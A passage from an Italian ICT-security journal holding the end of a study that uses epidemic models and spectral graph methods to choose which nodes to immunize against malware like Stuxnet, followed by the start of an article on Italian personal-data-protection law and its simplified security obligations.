come sfruttare praticamente le relazioni (2.4) e (2.5)?
la prima cosa che viene in mente è alzare la soglia
facendo diminuire il valore dell’autovalore. far questo costa, perché bisogna apportare delle modifiche
al grafo, cioè modificare gli impianti tecnologici, ma
è cosa tecnicamente possibile. il vero problema è che
l’autovalore descrive anche la funzionalità della rete
tecnologica. Un grande autovalore significa che dal
punto di vista dell’efficienza la rete lavora bene, ma
nel contempo implica una bassa soglia, ossia la facile diffusione di guasti o di malware. Quindi ci troviamo a dover fare delle scelte progettuali in una classica situazione di trade-off fra la necessità di conservare l’efficienza e di ridurre il rischio. Tuttavia la scelta delle
modifiche strutturali alla rete nonostante le difficoltà ed i costi, va tenuta sempre ben presente: essa
potrebbe costituire in ultima analisi l’opzione migliore. esaminiamo però anche le altre opzioni. Un’altra
opzione: simulare il comportamento di un grafo con
un grosso numero di prove, cercare i nodi che si
infettano frequentemente ed agire su di essi per
immunizzare tutta la rete. oppure ancora si potrebbero scegliere i nodi cui afferisce un gran numero di
archi (gli “hub”) a causa della importanza che sembrerebbero rivestire. Queste strategie, apparentemente intuitive e semplici, purtroppo non funzionano. i nodi frequentemente infetti (most infected) o
gli hub, per esempio, non sempre sono quelli effettivamente “critici”. poniamoci allora il problema di
proteggere la rete senza abbassarne le prestazioni industriali
in modo permanente alla luce del paradigma dell’autovalore della matrice adiacenza. possiamo pensare
di immunizzare i nodi, renderli insensibili alle minacce, ma non tutti, solo alcuni (il cosiddetto “budget”).
Bisogna allora identificare un gruppo di nodi in
grado di fermare la diffusione di guasti e malware.
Tali nodi rivestono evidentemente proprietà ed
importanza particolari ma purtroppo non sono facilmente individuabili se non in casi elementari.
numerose strategie sono state proposte fra le quali
le migliori sembrano quelle basate su metodi spettrali, anche se le difficoltà legate a tale metodologia non
vanno sottovalutate. nei paragrafi successivi mostreremo (scusandoci per l’auto citazione) il case-study
della diffusione del worm Stuxnet dell’aprile 2010.
la Symantec corp. ha elaborato (su dati reali) un
grafo dei nodi di una lan controllante sistemi
ScaDa completamente infettata da Stuxnet (figura
5). abbiamo testato sulla lan varie strategie di
55
immunizzazione ottenendo risultati che confermano
quanto sopra e rafforzano le strategie di tipo spettrale. prima però mostreremo la soglia epidemiologica
nella rete aS italiana.
3. Simulazione numerica della diffusione
attraverso la rete AS Italiana
in questo paragrafo presentiamo lo studio della
soglia della rete aS internet italiana [10] (figura 3).
Un internet autonomous System è un insieme prefissi ip connessi che rispondono ad un solo operatore, con un’unica politica di routing, quindi i collegamenti anche fisici sono tracciabili con maggior facilità. la nostra rete è di 611 nodi e 5974 archi (links),
grado massimo 212, grado medio 9.8 (naturalmente
questi sono solo dati provvisori, ma comunque indicativi). l’autovalore massimo λmax = 41.5 indica una
struttura ben connessa, capace di trasferire con facilità sia informazioni che malware.
abbiamo considerato per il rateo di infezione
un range di valori [10-6, 0.98] e per il rateo di cura un
range [10-5, 0.012], estratti da una distribuzione uniforme ad ogni run. invece di integrare le eq. alle differenze del modello di peng si usa un approccio tipo
catena di markov. l’infezione inizia da 3 nodi scelti a
caso, quindi il nodo infetto i cerca, con probabilità di
successo βij, di infettare il vicino j cui è collegato, che
sarà curato con probabilità di successo δi. il parametro di controllo che governa la simulazione è r(δ, β),
il cui aumento indica una maggior capacità infettiva.
in figura 4 sono esposti i risultati delle simulazioni. Sulle ordinate ci sono le percentuali di diffusione (spreading) su 100 run per vari valori del
parametro r(δ, β), dipendente dai ratei di infezione e
di cura. Uno spreading è considerato di successo se
almeno la maggior parte dei 611 nodi dell’aS resta
infettato. come si osserva, lo spreading è praticamente nullo fino a che r < 2, quindi la curva sale sempre più bruscamente.
Figura 3- La rete AS Internet Italiana [10], (graficata dall’algoritmo
Fruchterman-Rheingold [7] che minimizza gli attraversamenti dei link).
da le varie strategie, poi è stata ripetuta la simulazione della diffusione per verificare la correttezza delle
scelte fatte. presentiamo molto brevemente le strategie testate per dettagli e riferimenti bibliografici cfr.
[2].
Metodi tradizionali: sono applicazioni della
4. Strategie testate sulla rete ICT infettata
da Stuxnet
per testare le migliori strategie difensive abbiamo
scelto una topologia di rete icT (figura 5) che è stata
infettata nel 2010 da Stuxnet [5]. Durante i test comparativi fra le diverse strategie di immunizzazione è
stato vaccinato il 3.6% del totale di 759 nodi a secon-
56
Figura 4 – Risultati della simulazione numerica di diffusione epidemiologica di malware nella rete AS Italiana. Sulle ordinate ci sono le percentuali di diffusione su 100 run per vari valori di del parametro r(δ, β)
dipendente dai ratei di infezione e di cura.
Teoria dei grafi, basati su algoritmi di visita dei grafi.
Degree: è il numero di archi (link) da/per gli altri
nodi o semplicemente incidenti sul nodo.
chiaramente un nodo con un alto grado implica
molti collegamenti e relazioni, per cui il nodo stesso
è detto un “hub” o “nodo influente”. e’ l’indicatore
più intuitivo e semplice a disposizione.
Closeness: somma dei cammini più brevi fra il
nodo in esame e gli altri. indica in qualche modo la
“vicinanza” del nodo rispetto agli altri. nella figura la
grandezza del nodo è proporzionale alla propria closeness.
Betweenness: numero totale dei cammini piu
brevi tra due coppie di nodi che passano per il nodo
in esame. nella figura i nodi blu son quelli ad alta
betweenness mentre quelli rossi sono i nodi periferici.
K-core: pruning ricorsivo dei nodi meno connessi fino a rivelare la struttura interna (core) della rete
[11]. anche qui si suppone che i gruppi di nodi maggiormente collegati (in rosso nella figura) siano quelli da considerare importanti.
Metodi euristici: sfruttano circostanze intuitive
invece di procedure sistematiche.
Most infected: si eseguono molteplici simulazioni di diffusione, quindi si selezionano i nodi che sono
CLOSENESS (figura da A. Bohn).
BETWEENNESS (figura da Wikipedia).
K-CORE (Figura da Alvarez-Hamelin Alvarez-Hamelin,
Dall´Asta Barrat, Vespignani ‘06)
risultati infetti più di frequente. Strategia semplice
anche se computazionalmente pesante.
Metodi spettrali: sono algoritimi che fanno uso
dello spettro degli auto valori, quindi di tipo algebrico.
Dynamical Importance: è la variazione subita
dall’autovalore massimo dopo la rimozione di un singolo nodo od arco [8]. Se la variazione è grande, sarà
grande anche l’“importanza” del nodo/arco associato.
Estrada index. È la somma dei closed walks di
diversa lunghezza che iniziano e terminano su un
nodo e caratterizza la partecipazione di un nodo ad
un sottografo [13].
AV11: simile alla importanza dinamica, ma considera l’influenza più nodi o archi contemporaneamente.
aV11 cerca di calcolare la variazione dell’autovalore
massimo relativamente a k nodi od archi, considerati come gruppi e non come singoli elementi.
naturalmente se si potessero provare tutte le possibili combinazioni di nodi od archi, si perverrebbe alla
soluzione ottima, cioè si potrebbe conoscere il set di
k elementi che massimizza la riduzione dell’autovalore. Questa metodologia esaustiva è (detta di forza
bruta) eccessivamente costosa in termini computazionali perfino per piccole reti, pertanto in [2] si è progettato l’ algoritmo aV11 per trovare soluzioni subottime del problema combinatorio associato.
per valutare le prestazioni delle varie strategie
prima discusse sono stati quindi eseguiti test numerici, durante i quali si sono immunizzati i nodi indicati
dalle varie strategie, quindi è stata simulata la propagazione di un malware tipo Stuxnet. i risultati dei
test sono riportati in Tabella 1.
aV11 ottiene la migliore prestazione, seguito dall’indice estrada, dalla closeness, dal grado. gli altri
algoritmi producono prestazioni scarse, lasciando
infetti oltre la metà dei nodi. Ulteriori test, sempre su
reti reali, mostrano che aV11 mantiene sempre la
prima posizione, mentre le altre strategie si alternano
57
Metodologia di
vaccinazione
N.ro nodi
rimasti infetti
%
infetti
inDice Di eSTraDa
258
34
aV11
cloSeneSS
graDo
imporTanza Dinamica
BeTweenneSS
moST infecTeD
Tabella 1
176
263
23
35
377
35,5
414
54,5
394
661
52
87
reali), la strategia basata sul grado (cioè la scelta di
nodi su cui incidono numerosi archi) si è piazzato al
secondo posto dopo aV11; per quanto semplice ed
intuitiva la strategia di selezionare come nodi “importanti” i nodi col maggior numero di archi incidenti
nasconde dei rischi evidenziati in figura 7, in un contro-esempio che mostra la incapacità di grado, closeness, betweenness di segnalare correttamente l’importanza dei nodi dopo l’aggiunta di un arco nel piccolo grafo di figura 7. e’ facile notare che il grado
non riesce affatto a discriminare in modo utile i nodi,
mentre l’importanza dinamica, che è un metodo
spettrale, risulta molto precisa.
casualmente. pertanto sembra che aV11 si adatti alle
varie topologie meglio degli altri algoritmi.
Questi risultati potrebbero peraltro essere
migliorati aumentando il budget di nodi
vaccinabili, fino a fermare quasi completamente (<<4% nodi infetti) la diffusione.
esaminiamo graficamente l’azione della
strategia aV11 nella figura 5 e nella figura
6. la situazione da esaminare è la lan di
figura 5 in cui tutti i suoi nodi sono stati
infettati.
la forma radiale dei nodi infettati è
spiegata da falliere con la mancanza di
alcuni archi trasversali dovuta alle modalità
di acquisizione dati della Symantec.
Tuttavia, esiste anche una seconda spiegazione, per la quale il worm si è propagato
senza trovare una direzione nettamente
privilegiata, giustificando cosi le scelte fatte
Figura 5 - La rete LAN (Local Area Network) infettata da StuxNet ( tutti i nodi
sulla funzione di distribuzione uniforme da
neri), a partire dai 3 nodi in viola al centro, da cui si è sviluppato l’attacco [5].
cui sono estratte le probabilità di infezione.
Vediamo ora quali effetti ha prodotto la
vaccinazione suggerita da aV11.
i nodi scelti da aV11 per la vaccinazione sono mostrati in figura 6 con colore
verde, mentre i punti in rosso sono i nodi
su cui la diffusione ha avuto successo. nel
caso della immunizzazione aV11 sono
rimasti infetti il 23% del totale dei nodi; il
numero può apparire grande ma si deve
considerare l’esiguo budget disposto ed il
grafo su cui si è operato, che favorisce la
diffusione. osserviamo che sia aV11 sia
l’estrada index e la importanza dinamica
sono tecniche spettrali (basate cioè sugli
auto valori matriciali), mentre closeness,
betweenness, grado e most infected sono
Figura 6 - La rete LAN dopo la vaccinazione AV11 (nodi Verdi grandi). I nodi rossi
tecniche tradizionali. Va anche detto che in
indicano i computer infettati, mentre i nodi neri piccoli sono stati salvaguardati dalla vaccinazione.
alcuni test (sempre su reti tecnologiche
58
4. Conclusioni
Figura 7 – I nodi del grafo vengono classificati usando quattro strategie,
ma soltanto DI è in grado di discriminarne l’importanza, mentre le altre
strategie segnalano valori praticamente identici sia quando l’arco 2-3 è
presente sia quando è assente.
infine accenniamo alle applicazioni in campo
finanziario della metodologia topologica. a seguito
della crisi dovuta ai derivati, la finanza quantitativa ha
ritrovato slancio dedicandosi allo studio della prevenzione del collasso del sistema finanziario globale
considerato alla stessa stregua di una rete tecnologica ed in tutto il mondo sono stati lanciati programmi
di ricerca mirati. lo scopo è sempre quello di individuare i nodi a rischio (operatori economici e finanziari) e prevenire l’effetto domino dei fallimenti.
appare al proposito molto interessante il lavoro di
ricerca delle compagnie controllanti la maggior parte
di aziende del mondo [9], eseguito su una rete di
oltre 600.000 nodi i cui archi rappresentano il controllo azionario esercitato. le metodologie tradizionali esposte prima hanno consentito di individuare
una decina di entità finanziarie, peraltro ben note, cui
si fa risalire la catena di controllo. Sarebbe quindi
interessante usare aV11 per migliorare le capacità dei
metodi tradizionali anche in campo finanziario; questa applicazione sarà oggetto di futuri studi.
oggi la resilienza e protezione delle ci sono temi
centrali per molti programmi di ricerca in tutto il
mondo; in particolare per le infrastrutture icT sottoposte a devastanti attacchi. Sfortunatamente le
dipendenze fra le ci sono ormai giunte ad un livello
tale di complessità da necessitare di una trattazione
formale, di cui, peraltro, ancora non si dispone completamente.
D’altro canto i codici software di attacco sono
sempre più sofisticati e si associano a strategie complesse network aware e di ricerca cooperativa dei target. per affrontare questa non facile situazione, gli
studiosi stanno sviluppando tool matematici di ispirazione biologica. fra questi il modello epidemiologico ha ricevuto molte attenzioni ed ha prodotto
risultati concreti attraverso l’analisi spettrale che ci
consente di stabilire se una rete sarà soggetta ad essere infettata, quali sono i nodi critici, cosa fare per
ridurre o annullare i danni, come aumentarne la resilienza.
non è immediato nè semplice per gestori delle
reti tecnologiche accettare il fatto che la topologia
della rete abbia delle proprietà nascoste ed imprevedibili all’analisi meccanico-funzionale, ma con ogni
probabilità questa è la strada da percorrere per
padroneggiare gli sviluppi futuri.
nel presente lavoro ci siamo concentrati sulle reti
informatiche, mostrando l’esistenza di una soglia alla
diffusione del malware nella rete aS italiana e una
metodologia di scelta dei nodi da vaccinare con priorità, metodologia applicata ad una lan effettivamente colpita da Stuxnet. Sebbene si tratti di simulazioni numeriche, i test condotti sembrano indicare
una via promettente per l’implementazione di uno
schema di difesa ex ante contro le minacce del futuro prossimo alle iic.
59
BIBLIOGRAFIA
[1]
[2]
[3]
[4]
[5]
[6]
[7]
[8]
[9]
[10]
[11]
[12]
[13]
60
f. freitas, f., et al., ‘Verme: worm containment in overlay networks’, ieee/ifip international
conference on Dependable Systems, lisbon, (2009).
arbore, a. e fioriti, V., ‘Sub-optimal topological protection from advanced malware’. conference
criTS 11 luzern, (2011).
wang, Y., chakrabarti, D., wang, c. , faloutsos, c. ‘epidemic spreading in real networks’. SrDS
conference (2003).
weaver, n., et al., ‘a Taxonomy of computer worm’s, worm’03, october, washington, Dc, USa
(2003).
falliere, D. (2010), ‘Symantec report on Stuxnet’. Dal sito: www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf
peng, c., xiaogang J., meixia S., ‘epidemic threshold and immunization on generalized networks’,
physica a 389, 549-560 (2010).
fruchterman, T., reingold, e., ‘graph Drawing by force-Directed placement’, Software practice &
experience 21, 1129 (1999).
restrepo, J., ott, e. and B. hunt,B., ‘characterizing the dynamical importance of network nodes and
links’, phy. rev. lett., 97, 094102, (2006).
Vitali S, et al. , ‘The network of global corporate control’, ploS one 6(10), e25995, (2011).
cortesia di e. gregori e collaboratori , cnr pisa e moTia project.
alvarez-hamelin, i., ‘K-core decomposition of internet graphs: hierarchies, self-similarity and measurement biases’, networks and heterogeneous media, 3(2):371-293, (2008).
zesheng, c., chuanyi J., ‘measuring network aware worm spreading strategy’, infocom 26th ieee
international conference on computer communications ieee, (2007).
estrada e., ‘characterization of 3D molecular structure’, chem. phys. lett. 319, 713 , (2000).
Giancarlo Butti
Banco Popolare - Audit Conformità e presidi 231/2001
PROTEZIONE DEI DATI PERSONALI: AGGIORNAMENTI NORMATIVI.
LE CONSEGUENZE SUGLI ADEMPIMENTI FORMALI E SUI SISTEMI INFORMATIVI.
(PROTECTING PERSONAL DATA: LATEST REGULATORY UPDATES.
THE FALL-OUT ON FORMAL PROCEDURES AND IT SYSTEMS.)
Sommario
Mentre è in discussione il nuovo regolamento privacy che
andrà a sostituire le varie normative nazionali all’interno
dell’UE sia il legislatore sia lo stesso Garante per la protezione dei dati personali hanno introdotto negli ultimi anni una
serie di variazioni all’insieme di norme che regolano la protezione dei dati personali.
La successione degli interventi, da un lato ha mirato a
semplificare taluni adempimenti, considerati troppo onerosi per
molte categorie di Titolari, dall’altro ha portato a una maggiore focalizzazione su settori particolari, come quello del credito e delle telecomunicazioni.
Le variazioni introdotte tuttavia non sempre hanno prodotto gli effetti desiderati, risultando in molti casi inapplicabili e quindi inutili. Solo dopo diverse rettifiche oggi si dispone
di un quadro complessivo che tuttavia propone una semplificazione più teorica che pratica.
Inoltre, a oltre 15 anni dall’introduzione della normativa, talune semplificazioni, quali ad esempio la limitazione alle
persone fisiche della tutela prevista dalle disposizioni normative, possono avere impatti non prevedibili non solo dal punto di
vista degli adempimenti formali, ma anche sui sistemi informativi utilizzati per la loro gestione. In questo articolo si
ripercorrono le tappe di alcune delle ultime variazioni e delle
loro possibili conseguenze.
1. Introduzione
Nella Tabella 1 sono riportate alcune definizioni
utili per la comprensione dei contenuti dell’articolo.
I testi della normativa riportati nell’articolo
hanno valore solo indicativo; i testi ufficiali sono unicamente quelli disponibili sulla Gazzetta Ufficiale
della Repubblica Italiana a mezzo stampa.
I testi qui riprodotti sono tratti dai siti
www.garanteprivacy.it e www.normattiva.it.
A bstract
While the new European privacy regulations that will
replace the various national regulations within the EU are
under discussion, both national legislators and the commissioner for Data Privacy have introduced in recent years a series
of variations to the current regulations that govern Data
Privacy.
The sequence of variations that from one side has attempted to simplify application of the rules, from another point of
view has considered them an additional burden and still another point of view has seen them as a specific zoom on critical
sectors such as Banking & Finance and Telecommunications.
The new modifications did not all have the desired effects,
often inapplicable in practice and therefore useless. Only after
various rectifications a simplified, complete working picture
has emerged but which is more theoretical than practical.
15 years from the introduction of the Data Privacy regulations these simplifications, such as the reduction of applicability of the regulations to only protect individuals, are modifying not only formal administrative requirements, but also the
IT Systems used to manage these processes. This article reviews
the sequence of some of the latest variations and their possible consequences - often unpredicted initially.
2. Le misure di sicurezza e l’impatto sui sistemi informativi nella normativa privacy
La regolamentazione degli aspetti relativi alla
sicurezza è disciplinata nell’ambito della normativa
privacy da una articolata serie di norme (vedi Tabella
2), contenute nel Dlgs 196/03 (art. 3 e artt. 30-36),
nell’ Allegato B - Disciplinare tecnico in materia
di misure minime di sicurezza (che regola in particolare le misure minime di sicurezza) e da una serie
61
Giancarlo Butti
di atti del Garante per la protezione dei dati personali.
In particolare tramite l’articolo 31:
Art. 31. Obblighi di sicurezza
1. I dati personali oggetto di trattamento sono custoditi e
controllati, anche in relazione alle conoscenze acquisite in base
al progresso tecnico, alla natura dei dati e alle specifiche caratteristiche del trattamento, in modo da ridurre al minimo,
mediante l'adozione di idonee e preventive misure di sicurezza,
i rischi di distruzione o perdita, anche accidentale, dei dati stessi, di accesso non autorizzato o di trattamento non consentito
o non conforme alle finalità della raccolta.
Il Dlgs 196/03 introduce una generica richiesta di
definizione ed implementazione di misure di sicurezza, da valutare a carico del Titolare in funzione di
diversi fattori (al progresso tecnico, alla natura dei
dati e alle specifiche caratteristiche del trattamento),
nonché finalizzate a prevenire una serie di rischi ben
identificati (i rischi di distruzione o perdita, anche
accidentale, dei dati stessi, di accesso non autorizzato o di trattamento non consentito o non conforme
alle finalità della raccolta).
Soddisfare tali richieste è tutt’altro che banale, in
particolare per quanto attiene i rischi di distruzione o
perdita, anche accidentale.
Nel caso in cui la mancata adozione di adeguate
misure di sicurezza o di altre fattispecie comporti un
danno per gli interessati si applica l’art. 15 del Dlgs
196/03:
Art. 15. Danni cagionati per effetto del trattamento
1. Chiunque cagiona danno ad altri per effetto del trattamento di dati personali è tenuto al risarcimento ai sensi dell'articolo 2050 del codice civile.
2. Il danno non patrimoniale è risarcibile anche in caso di
violazione dell'articolo 11.
Ai Titolari sono prescritte in ogni caso una serie
di misure definite minime, meglio definite negli artt.
33 – 35 e nell’Allegato B - Disciplinare tecnico in
materia di misure minime di sicurezza (vedi
Tabella 3).
La mancata adozione di tali misure è presidiata
penalmente.
Impatti significativi sul sistema informativo sono
anche introdotti dall’art. 3:
Art. 3. Principio di necessità nel trattamento
62
dei dati
1. I sistemi informativi e i programmi informatici sono
configurati riducendo al minimo l'utilizzazione di dati personali e di dati identificativi, in modo da escluderne il trattamento quando le finalità perseguite nei singoli casi possono
essere realizzate mediante, rispettivamente, dati anonimi od
opportune modalità che permettano di identificare l'interessato
solo in caso di necessità.
Tale articolo la cui mancata adozione non viene
specificatamente sanzionata, è uno dei meno osservati della norma, anche in considerazione del notevole impatto che avrebbe la sua reale applicazione sui
sistemi informativi esistenti.
Il rispetto di tale principio è tuttavia costantemente richiamato nelle Autorizzazioni di carattere
generale (il cui mancato rispetto potrebbe essere
sanzionato) emesse periodicamente dal Garante per
la protezione dei dati personali per il trattamento dei
dati sensibili in vari ambiti, quali ad esempio nella
gestione dei rapporti di lavoro.
Il rispetto del complesso delle misure di sicurezza
e dell’articolo 3 è tutt’altro che semplice ed i casi di
violazione, per scarsa conoscenza della norma o per
oggettiva difficoltà sono molto frequenti (vedi
Tabella 4).
za
3. Le semplificazioni nelle misure di sicurez-
Sia il legislatore, sia il Garante per la protezione
dei dati personali hanno già da qualche anno iniziato
a svolgere un’attività di semplificazione delle norme,
ritenute troppo onerose in particolare per le PMI e
gli studi professionali.
Il primo passo è stata l’emissione della Guida
pratica e misure di semplificazione per le piccole e medie imprese - 24 maggio 2007, che in realtà si limita a tradurre in forma discorsiva i contenuti
del Dlgs 196/03 e relativi allegati.
Successivamente
è
stata
emessa
la
Semplificazione delle misure di sicurezza contenute nel disciplinare tecnico di cui all'Allegato
B) al Codice in materia di protezione dei dati
personali - 27 novembre 2008 (G.U. n. 287 del 9
dicembre 2008).
In particolare le semplificazioni del 2008 hanno
introdotto variazioni alle misure minime di sicurezza
(vedi Tabella 5), compresa la redazione del DPS.
Quello che interessa evidenziare è che il perimeSpeciale Sicurezza ICT
PROTEZIONE DEI DATI PERSONALI: AGGIORNAMENTI NORMATIVI. LE CONSEGUENZE SUGLI ADEMPIMENTI FORMALI E SUI SISTEMI INFORMATIVI.
(PROTECTING PERSONAL DATA: LATEST REGULATORY UPDATES. THE FALL-OUT ON FORMAL PROCEDURES AND IT SYSTEMS.)
tro di applicazione di tale semplificazione è particolarmente limitato, considerando che i soggetti che
possono avvalersene sono sommariamente identificati nell’art. 1:
Art. 1. Soggetti che possono avvalersi della
semplificazione
Le seguenti modalità semplificate sono applicabili dai soggetti pubblici o privati che:
a) utilizzano dati personali non sensibili o che trattano
come unici dati sensibili riferiti ai propri dipendenti e collaboratori anche a progetto quelli costituiti dallo stato di salute o
malattia senza indicazione della relativa diagnosi, ovvero dall'adesione a organizzazioni sindacali o a carattere sindacale;
b) trattano dati personali unicamente per correnti finalità
amministrative e contabili, in particolare presso liberi professionisti, artigiani e piccole e medie imprese (cfr. art. 2083 cod.
civ. e d.m. 18 aprile 2005, recante adeguamento alla disciplina comunitaria dei criteri di individuazione di piccole e medie
imprese, pubblicato nella Gazzetta Ufficiale 12 ottobre 2005,
n. 238).
In particolare tale formulazione non considera
diversi aspetti:
a) il datore di lavoro non si limita a trattare i dati
dei propri dipendenti, ma anche quelli dei loro
familiari e anche di questi ultimi può trattare
dati sensibili (ad esempio per la concessione di
agevolazioni di legge ai dipendenti)
b) relativamente al potenziale trattamento della
diagnosi di malattie o infortunio è lo stesso
Garante per la protezione dei dati personali,
che nelle proprie Linee guida in materia di
trattamento di dati personali di lavoratori
per finalità di gestione del rapporto di
lavoro alle dipendenze di datori di lavoro
privati, elenca i casi in cui un datore di lavoro
potrebbe venirne a conoscenza.
Appare quindi evidente che nessun Titolare che
abbia dipendenti possa rientrare nei casi previsti dall’art. 1, comma a.
Per quanto attiene l’art. 1, comma b la formulazione di correnti finalità amministrative e contabili
era talmente generica all’atto dell’emissione della
semplificazione che non consentiva un’idonea interpretazione; successivamente si è arrivati alla seguente formulazione, inserita direttamente nel Dlgs
196/03:
Art. 34. Trattamenti con strumenti elettronici
1-ter. Ai fini dell'applicazione delle disposizioni in materia di protezione dei dati personali, i trattamenti effettuati per
finalità amministrativo-contabili sono quelli connessi allo svolgimento delle attività di natura organizzativa, amministrativa, finanziaria e contabile, a prescindere dalla natura dei dati
trattati. In particolare, perseguono tali finalità le attività organizzative interne, quelle funzionali all'adempimento di obblighi contrattuali e precontrattuali, alla gestione del rapporto di
lavoro in tutte le sue fasi, alla tenuta della contabilità e all'applicazione delle norme in materia fiscale, sindacale, previdenziale-assistenziale, di salute, igiene e sicurezza sul lavoro.
Tale formulazione è estremamente estensiva; di
norma la maggior parte delle aziende e degli studi
professionali svolge quasi esclusivamente questo tipo
di trattamenti.
4. Le semplificazioni nella redazione del DPS
La redazione del DPS è considerata particolarmente onerosa ed è stata introdotta con il DPR del
28 luglio 1999, n. 318; successivamente con il Dlgs
196/03 e relativo Allegato B sono state introdotte
ulteriori specificazioni per la sua compilazione.
La sua redazione non è considerata obbligatoria
per tutti, ma è limitata ai soggetti che rientrano nella
definizione sotto riportata, come peraltro precisato
anche nella Guida pratica e misure di semplificazione per le piccole e medie imprese.
In base alla vigente disciplina, in caso di trattamento di
dati sensibili e giudiziari attraverso sistemi informatici [Vedi
art. 34 del Dlgs 196/03 per la corretta definizione] deve essere redatto il documento programmatico sulla sicurezza (art.
34, comma 1, lett. g) e regola 19 dell’Allegato B al Codice).
Come vedremo in realtà questo è vero unicamente se si considera il DPS come una delle misure minime di sicurezza; ma andiamo con ordine.
La prima semplificazione relativa al DPS è stata
introdotta con il Decreto-Legge convertito con
modificazioni dalla L. 6 agosto 2008, n. 133 (in
SO n.196, relativo alla G.U. 21/08/2008, n.195).
Art. 29. Trattamento dei dati personali
1. All'articolo 34 del ((codice in materia di protezione dei
dati personali, di cui al)) decreto legislativo 30 giugno 2003,
n. 196, dopo il comma 1 e' aggiunto il seguente:
(("1-bis. Per i soggetti che trattano soltanto dati personali
non sensibili e che trattano come unici dati sensibili quelli
63
Giancarlo Butti
costituiti dallo stato di salute o malattia dei propri dipendenti e collaboratori anche a progetto, senza indicazione della
relativa diagnosi, ovvero dall'adesione ad organizzazioni sindacali o a carattere sindacale, la tenuta di un aggiornato
documento programmatico sulla sicurezza e' sostituita dall'obbligo di autocertificazione, resa dal titolare del trattamento
ai sensi dell'articolo 47 del testo unico di cui al decreto del
Presidente della Repubblica 28 dicembre 2000, n. 445, di
trattare soltanto tali dati in osservanza delle altre misure di
sicurezza prescritte. In relazione a tali trattamenti, nonche'
a trattamenti comunque effettuati per correnti finalita' amministrative e contabili, in particolare presso piccole e medie
imprese, liberi professionisti e artigiani, il Garante, sentito il
Ministro per la semplificazione normativa, individua con
proprio provvedimento, da aggiornare periodicamente, modalita' semplificate di applicazione del disciplinare tecnico di cui
all'Allegato B) in ordine all'adozione delle misure minime di
cui al comma 1")).
Mentre la seconda semplificazione è stata introdotta con la già citata Semplificazione delle misure di sicurezza contenute nel disciplinare tecnico di cui all'Allegato B) al Codice in materia di
protezione dei dati personali - 27 novembre 2008
(G.U. n. 287 del 9 dicembre 2008), che amplia rispetto
alla definizione dell’agosto 2008 l’ambito dei dati
sensibili trattati dal Titolare il cui trattamento non
comporta la redazione del DPS e introduce il concetto delle correnti finalità amministrative e contabili, differenziando nei due casi le modalità di semplificazione delle quali può avvalersi il Titolare (autocertificazione o redazione di una versione più limitata
del DPS).
I limiti di tali definizioni sono stati già espressi nel
paragrafo precedente.
Con il Decreto legge 13 maggio 2011, n. 70,
convertito, con modificazioni, dalla legge 12
luglio 2011, n. 106 (G.U. 12/7/2011, n. 160), viene
introdotta la seguente ulteriore definizione:
1-bis. Per i soggetti che trattano soltanto dati personali non
sensibili e che trattano come unici dati sensibili e giudiziari
quelli relativi ai propri dipendenti e collaboratori, anche se
extracomunitari, compresi quelli relativi al coniuge e ai parenti, la tenuta di un aggiornato documento programmatico sulla
sicurezza è sostituita dall'obbligo di autocertificazione, resa
dal titolare del trattamento ai sensi dell' articolo 47 del testo
unico di cui al decreto del Presidente della Repubblica 28
dicembre 2000, n. 445, di trattare soltanto tali dati in osservanza delle misure minime di sicurezza previste dal presente
64
codice e dal disciplinare tecnico contenuto nell'allegato B). In
relazione a tali trattamenti, nonché a trattamenti comunque
effettuati per correnti finalità amministrativo-contabili, in particolare presso piccole e medie imprese, liberi professionisti e
artigiani, il Garante, sentiti il Ministro per la semplificazione
normativa e il Ministro per la pubblica amministrazione e
l'innovazione, individua con proprio provvedimento, da aggiornare periodicamente, modalità semplificate di applicazione del
disciplinare tecnico contenuto nel citato allegato B) in ordine
all'adozione delle misure minime di cui al comma 1.
Tale definizione è sufficientemente amplia e chiara da ridurre notevolmente, almeno in linea teorica, il
numero dei soggetti ancora tenuti alla redazione del
DPS.
Rientrano fra i Titolari per i quali permane l’obbligo di redazione medici, dentisti, banche, assicurazioni, commercialisti…
Tuttavia anche tale definizioni non è così esaustiva come si potrebbe ritenere. Sono diversi i dati sensibili dei collaboratori e dipendenti che un Titolare
potrebbe, suo malgrado, trattare e che quindi lo
escluderebbero da tale semplificazione.
Ad esempio, nel caso in cui un Titolare registri i
dati relativi alla navigazione Internet, potrebbe effettuare un trattamento di dati personali sensibili relativi ai propri dipendenti e collaboratori, come precisato in:
Lavoro: le linee guida del Garante per posta
elettronica e internet.
Anche questa limitazione è stata eliminata con
l’articolo 47 del Decreto sulle semplificazioni, che
abroga sia il comma appena citato sia la redazione del
DPS:
(Semplificazioni in materia di dati personali)
1. Al decreto legislativo 30 giugno 2003, n. 196, sono
apportate le seguenti modificazioni:
b) all’articolo 34 sono soppressi la lettera g) del comma 1
e il comma 1-bis;
c ) nel disciplinare tecnico in materia di misure minime di
sicurezza di cui all’allegato B sono soppressi i paragrafi da 19
a 19.8 e 26.
5. Impatti della semplificazione ed abrogazione nella redazione del DPS
La redazione del DPS, anche se non obbligatoria,
è comunque una scelta vivamente consigliata.
Infatti tale documento non è altri che l’elencazione delle modalità con cui il Titolare, dopo una analisi dei rischi più o meno approfondita e formalizzata,
ha implementato le propri misure di sicurezza, comprese quelle minime (che restano comunque obbligatorie), così come richiesto dall’art. 31 della normativa.
La presenza di un adeguato DPS (o di analogo
documento) è un valido strumento di difesa del
Titolare nel caso in cui un interessato subisca un
danno in seguito ad esempio alla distruzione dei suoi
dati (si pensi ad esempio alla distruzione o perdita di
documenti fiscali da parte di un commercialista) o
alla intercettazione di dati riservati (ad esempio per
un uso non corretto degli strumenti di trasmissione).
Solo la presenza di tale documento, che evidenzi
l’impegno adottato dal Titolare nell’adozione di
quanto prescritto dall’art. 31 del Dlgs 196/03, può
infatti ridurre le conseguenze di un’azione derivante
dall’applicazione dell’art. 15 dello stesso Dlgs
196/03.
6. La riduzione del perimetro
La normativa italiana ha introdotto già con la
legge 675/96 una tutela dei dati personali, non limitata alle sole persone fisiche, che trova pochi analoghi nelle altre legislazioni nazionali.
Avere esteso tale tutela alle persone giuridiche,
enti, associazioni… ha introdotto a carico dei
Titolari di trattamento una serie di oneri che mal si
bilanciavano con la tutela fornita, in considerazione
in particolare che le aziende si scambiano continuamente dati fra di loro e che il poter svolgere attività
di marketing presso altre aziende è una esigenza fondamentale.
Con il Decreto legge 13 maggio 2011, n. 70,
convertito, con modificazioni, dalla legge 12
luglio 2011, n. 106 (G.U. 12/7/2011, n. 160), viene
aggiunto all’art, 5 del Dlgs 196/03 il seguente
comma:
